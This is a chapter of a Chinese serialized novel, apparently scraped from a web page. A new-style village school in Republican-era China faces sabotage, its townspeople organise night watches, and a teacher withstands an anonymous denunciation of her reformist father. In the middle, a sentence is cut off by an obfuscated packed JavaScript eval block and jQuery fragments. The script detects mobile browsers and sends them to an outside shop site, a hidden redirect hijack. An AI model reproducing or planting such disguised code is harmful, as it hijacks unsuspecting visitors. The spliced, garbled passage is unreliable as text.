冬雨过后的青石镇，空气清冽如刀。张静轩推开院门时，哈出的白气在晨光里凝成一团团雾。福伯候在门外，今日腰间除了短棍，还多挂了样东西——一个牛皮缝的袋子，鼓鼓囊囊的，不知装着什么。


    “小少爷，”福伯压低声音，“昨儿夜里，又出事了。”


    张静轩心头一紧：“谁家？”


    “不是谁家。”福伯四下看了看，“是祠堂。后墙那片新刷的石灰，被人泼了粪。”


    粪？张静轩一愣。这手段，比扔石头、撬柴房更下作，也更恶毒。


    两人匆匆往学堂走。街上行人还少，早点铺子刚生起火，炊烟袅袅。路过陈老秀才家时，门关着，但门缝里隐约有灯光——老人大概也知道了，睡不着。


    到祠堂时，天色刚蒙蒙亮。后墙那片新刷的白石灰上，黄褐色的污秽触目惊心，臭气在清冷的空气里弥漫。苏宛音和程秋实已经站在那里，脸色铁青。卢明远也在，正用铁锨铲土盖那些污秽。


    “什么时候发现的？”张静轩问。


    “天没亮，守夜的老李头发现的。”程秋实声音发颤，“他说听见动静，起来看时，人已经跑了。只看见个背影，穿着蓑衣，往镇西方向去了。”


    镇西。陈继业货栈的方向。


    苏宛音转过身，眼睛红着，但没哭：“静轩，他们这是……要毁了学堂的名声。”


    张静轩明白她的意思。泼粪，不只是恶心，更是一种羞辱——要让学堂在镇上人心里，变成肮脏、晦气的地方。尤其对那些本就观望、犹豫的家长，这招很毒。


    “清理干净。”他说，“用石灰水再刷一遍。刷厚些。”


    卢明远点头：“我已经让人去石灰窑了。”他顿了顿，“但这事……得有个说法。不然传出去，不好听。”


    “说法？”张静轩冷笑，“说法就是，有人见不得咱们好，用最下作的手段。”


    正说着，周大栓和李铁匠也赶来了。看见墙上的污秽，两人都变了脸色。


    “他娘的！”李铁匠骂了一句，夺过卢明远手里的铁锨，“我来！”


    周大栓搓着手：“小少爷，这事……不能就这么算了。”


    “当然不能。”张静轩说，“周叔，李叔，你们先去各家各户走走，把话说清楚——就说有人眼红学堂，使坏。让街坊们心里有数。”


    “明白！”


    两人匆匆走了。苏宛音看着他们的背影，轻声道：“静轩，你这样……会不会把他们也卷进来？”


    “他们已经卷进来了。”张静轩看着那片污秽，“从他们凑钱助学那天起，就卷进来了。现在要做的，是让他们知道，咱们不会退，也不能退。”


    石灰水很快送来了。几个人动手刷墙。刺鼻的石灰味混着残余的臭气，熏得人眼睛发涩。但没人停手，一刷，又一刷，白浆覆盖了污秽，也覆盖了昨夜的屈辱。


    太阳升起时，墙刷好了。白生生的，在晨光里晃眼。张静轩站远了些看——那片白，像一块巨大的纱布，盖住了伤口，但伤口还在。


    上午的课，照常进行。但孩子们显然都听说了，眼神里带着不安。水生几次欲言又止，小莲低着头，不敢看人。


    苏宛音放下课本，走到讲台前：“同学们，今天上课前，老师有句话说。”


    孩子们抬起头。


    “昨夜，有人在学堂后墙泼了脏东西。”苏宛音的声音很平静，“为什么？因为他们怕。怕你们读书，怕你们明理，怕你们将来有出息。”


    她顿了顿，目光扫过每一张脸：“老师小时候，也被人欺负过。因为我是女孩，却想读书。有人往我书包里塞虫子，有人在我座位上倒墨水。但我没怕。因为我知道，他们越欺负，越说明他们怕我——怕我读了书，比他们强。”


    课堂里很静。孩子们的眼睛亮起来。


    “现在，也一样。”苏宛音说，“他们泼粪，是因为怕你们。怕你们读了书，就不信他们的鬼话；怕你们明理，就不上他们的当。所以，咱们要更用力地读，更用力地学。等你们长大了，有出息了，这些人，连给你们提鞋都不配。”


    这话说得硬气。孩子们挺直了腰板，读书声比往日更响。


    张静轩坐在后排，看着苏宛音。这个看似柔弱的女子，骨子里有股他从未见过的刚硬。那是读书人的刚硬——可以弯腰，但脊梁不折。


    课间时，水生跑到他身边：“静轩哥，俺爹说，让俺放学别走，他来找俺。”


    “为什么？”


    “不知道。”水生挠挠头，“但俺爹今早出门时，揣了把斧头。”


    张静轩心头一沉。周大栓这是……要做什么？


    上午最后一节课是程秋实的国文。他今日讲的是岳飞的《满江红》。讲到“靖康耻，犹未雪；臣子恨，何时灭”时，声音激昂。孩子们跟着念，稚嫩的声音在堂内回荡，有种奇特的悲壮。


    放学时，张静轩特意等到最后。周大栓果然来了，不是一个人，身后还跟着李铁匠和几个街坊，都是学生家长。每人手里都拿着家伙——锄头、扁担、铁锤。


    “周叔，”张静轩迎上去，“你们这是……”


    “守夜。”周大栓声音粗哑，“从今儿起，咱们轮流守。看哪个龟孙子还敢来！”


    李铁匠点头：“对！咱们明着来，看他们敢不敢明着干！”


    张静轩看着这些黝黑粗糙的脸，心里翻涌。他想劝，但话到嘴边，又咽回去了。他知道，劝不住。这些汉子，认死理——你对他们好，他们记着；你欺负他们孩子，他们就跟你拼命。


    “那……小心些。”他最终说，“别硬拼，有事喊人。”


    “晓得。”周大栓咧嘴一笑，“咱们就是守，不惹事。但要是有人敢来……”他掂了掂手里的斧头，“那就怪不得咱们了。”


    家长们开始在祠堂四周布置。有人搬来稻草，铺在屋檐下；有人找来破锅，挂在树上——有动静就能敲响。周大栓和李铁匠商量着排班，谁守上半夜，谁守下半夜。


    张静轩看着，忽然想起大哥笔记里的一句话：“民气可用，但需导之。”


    这些街坊，有血性，有义气，但也容易冲动。得有人领着，别让他们走偏。


    他走到周大栓身边：“周叔，守夜可以，但得立规矩。”


    “什么规矩？”


    “第一，只守不攻。有人来，敲锅示警，但别追。”张静轩说，“第二，两人一组，互相照应。第三，真有事，先去镇公所报官——虽然老刘不顶用，但流程得走。”


    周大栓想了想，点头：“成！听小少爷的！”


    规矩定了，街坊们各自准备。张静轩这才和福伯往家走。


    路上，福伯低声说：“小少爷，刚才守祠堂的老李头说，他昨晚看见那个泼粪的人……左腿有点瘸。”


    左腿瘸？张静轩想起沈特派员给的照片。马三脸上有疤，但没说腿瘸。


    “还有别的特征吗？”


    “蓑衣，斗笠，看不清脸。但走路一高一低，老李头看得清楚。”


    张静轩记在心里。回到张家，他立刻去书房，把特征写下来。刚写完，门外传来马蹄声。


    是沈特派员的马车。


    沈特派员今日没穿中山装，换了身便服，像个普通商人。但眼神里的锐利，藏不住。他走进书房，开门见山：“静轩，昨天那封信，我收到了。”


    张静轩一愣：“信？”


    “给林记者的那封。”沈特派员从怀里掏出信，“福伯托人寄，我正好在邮局，就截下了。”


    张静轩心头一跳：“沈叔叔，这……”


    “别急，我没看内容。”沈特派员把信放在桌上，“但我猜得到，你是想借舆论施压。”


    张静轩点头。


    “想法是好的，但时机不对。”沈特派员坐下，“陈继业的人还在活动，你现在把事闹大，他们会狗急跳墙。而且省里那些卡拨款的人，最恨的就是报纸——你这一登，他们更不会松口。”


    “那怎么办？”张静轩急了，“就这么等着？”


    “等，但要主动地等。”沈特派员从公文包里取出一份文件，“这是我查到的，陈继业在省城的几个关系网。其中一个，是教育厅的副厅长，姓郑。就是他在卡你们的拨款。”


    张静轩接过文件。上面列着人名、职务、往来记录，密密麻麻。


    “这个郑副厅长，和王秉章背后那位不是一派的，但目的相同——都不希望新学太盛。”沈特派员说，“但他有个弱点：好名。喜欢别人说他‘开明’‘有远见’。”


    张静轩眼睛一亮：“您的意思是……”


    “你不是给林记者写信吗？改一改。”沈特派员说，“别写省里卡拨款，写青石镇百姓如何支持新学，写学堂如何艰难维持，写孩子们如何渴望读书——但要提一句，说‘省教育厅虽有波折，但相信会有开明之士主持公道’。这话，说到郑副厅长心坎里。”


    张静轩明白了。这是给郑副厅长递梯子——让他既可以卡拨款立威，又可以在舆论压力下“主持公道”，赚个好名声。


    “他会顺着梯子下来吗？”


    “会。”沈特派员肯定地说，“这些人，最会看风向。现在省城也不是铁板一块，新派势力在抬头。他卡拨款，是给保守派看；主持公道，是给新派看。两头不得罪，还能落个好名声。”


    张静轩点头。官场这些弯弯绕，他不懂，但沈特派员懂。


    “那泼粪的事……”


    “是马三干的。”沈特派员说，“我们抓到的喽啰交代，马三左腿有旧伤，是早年跑码头时摔的。平时看不出来，但阴雨天会瘸。”


    果然是他。


    “他在哪儿？”


    “还在青石镇附近。”沈特派员压低声音，“我们的人盯了两天，发现他藏身的地方——镇西十里，有个废弃的山神庙。”


    “为什么不抓？”


    “想放长线。”沈特派员说，“马三只是小角色，抓了他，陈继业那边会更警惕。我们想通过他，找到陈继业的藏身地。”


    张静轩沉默了。放长线，意味着马三还会继续作恶。但沈特派员说得对，抓个小喽啰，解决不了根本问题。


    “那……学堂这边？”


    “加强防备，但别打草惊蛇。”沈特派员说，“我已经安排了两个便衣，在学堂附近盯着。马三要是再敢来，当场抓住。”


    心里有了底，张静轩松了口气。他把给林记者的信重写了一遍，按沈特派员的意思，改了措辞。写完，交给沈特派员。


    “沈叔叔，这信……”


    “我亲自寄。”沈特派员收起信，“保证三天内见报。”


    送走沈特派员，张静轩回到书房，摊开地图。镇西十里，山神庙。他用笔圈出来。那地方他知道——小时候跟大哥去采过药，庙早就塌了，只剩几堵断墙，荒得很。


    马三藏在那里，是看中那儿偏僻，也看中那儿离陈继业的货栈近。


    正想着，福伯匆匆进来：“小少爷，卢少爷来了，说有急事。”


    卢明远走进来，脸色苍白，手里拿着一封信：“静轩，宛音她……她父亲的事，被人翻出来了。”


    “什么？”


    “省城有人给镇公所寄了举报信，说苏文渊是‘戊戌余孽’，苏宛音作为其女，不配当先生。”卢明远声音发抖，“信里还说，要彻底清查学堂所有先生的‘家世渊源’。”


    张静轩接过信。信是打印的，没有落款，但措辞恶毒，句句诛心。


    “谁寄的？”


    “查不到。但肯定是那些人——卡拨款不成，就来这招。”卢明远握紧拳头，“宛音她……她受不了这个。她父亲的死，一直是她的心结。”


    张静轩想起苏宛音说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140652|196314||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    起父亲时的眼神，那种痛楚，深藏在平静之下。


    “苏先生现在在哪儿？”


    “在学堂，程先生陪着。”卢明远说，“静轩，得想个办法。不然宛音她……可能会走。”


    走？张静轩心头一紧。苏宛音要是走了，学堂就真垮了一半。


    “我去看看。”


    两人匆匆赶到学堂。祠堂里，苏宛音坐在讲台后，一动不动。程秋实在一旁，急得团团转。孩子们已经放学了，堂内空荡荡的，只有昏黄的光，从窗棂透进来。


    “苏先生。”张静轩走过去。


    苏宛音抬起头，眼睛红肿，但没哭。她手里攥着那封信，指节发白。


    “静轩，”她声音嘶哑，“我……我想我该走了。”


    “走去哪儿？”


    “不知道。”苏宛音摇头，“但我不走，会连累学堂。我父亲的事……是洗不掉的。”


    “为什么要洗？”张静轩在她对面坐下，“苏先生，您父亲是维新党人，是为了救国。这有什么错？”


    “可他们……”


    “他们是他们，您是您。”张静轩打断她，“您父亲当年变法，是为了让中华民国强。您如今办学，是为了让孩子强。这有什么不同？”


    苏宛音愣住了。


    “苏先生，”张静轩继续说，“您说过，您父亲临死前让您去教书。为什么？因为他知道，变法失败了，但救国的路没断。一条路走不通，就换一条。办学，启民智，就是另一条路。”


    他顿了顿，声音更坚定：“您现在要是走了，才是真对不起您父亲。他拼了命想做的事，您做到了。您该骄傲，不该逃。”


    堂内静了很久。暮色从窗外漫进来，一点点吞噬着光线。苏宛音坐在昏暗中，身影单薄，但脊背慢慢挺直了。


    “你说得对。”她终于开口，声音很轻，但清晰，“我不该逃。”


    程秋实松了口气。卢明远眼眶红了。


    “那这封信……”卢明远问。


    “烧了。”苏宛音将信撕碎，扔进炭盆。火苗蹿起来，吞噬了那些恶毒的字句。“从今往后，谁再提我父亲的事，我就告诉他——我父亲是读书人，是为了这片山河死的。我，也是读书人，是为了这片山河活的。”


    卢明远握着那封信，指节捏得发白。他想起师范学堂的图书馆，那个总坐在最里面靠窗位置的少女——苏宛音总是最后一个离开，走时会把桌椅摆正，把看完的书放回原处。


    她父亲忌日那天，卢明远偶然看见她在校园后山的松林里，一个人呆坐到天黑，背影单薄得像片纸。那时他就想，这个女子心里有片海，深得能淹死所有苦难，也深得让人心疼。如今这片海又要起风浪，他不能站在岸上看着。


    火光照在她脸上，那张苍白的脸，此刻有种玉石般的光泽——脆弱，但坚硬。


    张静轩看着，心里那块石头，终于落了地。


    离开学堂时，天已经黑透。街巷里零星亮着灯，守夜的街坊们已经开始布置。周大栓和李铁匠在祠堂门口生了一堆火，火光映着他们黝黑的脸。


    “小少爷，”周大栓看见他，咧嘴笑，“放心吧，今晚连只野猫都进不来。”


    张静轩点头：“辛苦周叔李叔了。”


    “不辛苦。”李铁匠往火堆里添了根柴，“为了孩子，值。”


    走在回家的路上，张静轩想起苏宛音说的那句话：“我父亲是读书人，是为了这片山河死的。我，也是读书人，是为了这片山河活的。”


    这话，像种子，落在他心里。


    山河。青石镇的山河，中华民国的山河。大哥在前线守着，他们在后方守着。守的方式不同，但心一样。


    回到家，书房还亮着灯。张老太爷正在看一份文件，见他进来，放下文件。


    “静轩，沈特派员今天来了？”


    “来了。”张静轩把今天的事说了。


    张老太爷听完，沉默片刻：“苏先生那边，你处理得好。”


    “爹，我想……等这事过去了，在学堂开一门课。”


    “什么课？”


    “历史课。”张静轩说，“不单讲帝王将相，也讲像苏先生父亲那样的人，讲变法，讲维新，讲那些为了救国而死的人。让孩子们知道，这片山河，是怎么来的。”


    张老太爷看着他，眼神复杂：“静轩，你长大了。”


    这话，父亲说过不止一次。但这一次，张静轩听出了不同的意味——不是欣慰，是嘱托。


    “爹，”他轻声说，“我会守着学堂，守着这片乡土。”


    “我知道。”张老太爷站起身，走到窗前，“但你记住，守，不是固守。是守住该守的，改变该改变的。这中间的度，你要自己拿捏。”


    窗外，夜色如墨。远处祠堂方向的火光，隐隐约约，像一颗跳动的心。


    张静轩点头。他明白父亲的意思。守旧与变革，固守与前行，这中间的平衡，他得自己找。


    回到房间，他点亮油灯，摊开纸笔。今天的事，要记下来。


    “冬月初四，后墙泼粪，马三所为。街坊守夜，民气可用。苏先生遭谤，坚定留下。沈特派员指点，信已改寄。山神庙，马三藏身处。”


    写到这里，他停笔。看着那些字迹，忽然觉得，自己像在画一幅画——一幅关于青石镇的画。画里有光明，有黑暗，有坚守，有挣扎。而他是画中人，也是作画人。


    吹熄灯，躺下。黑暗中，他握紧了怀里的小刀。刀身冰凉，但心是热的。


    他知道，接下来的路还难。


    但他不怕。


    因为他不是一个人。


    窗外的火光还在跳，街坊们还在守。苏宛音还在学堂，程秋实还在备课，卢明远还在奔走，沈特派员还在查案，大哥还在前线。


    所有人，都在自己的位置上，守着这片山河。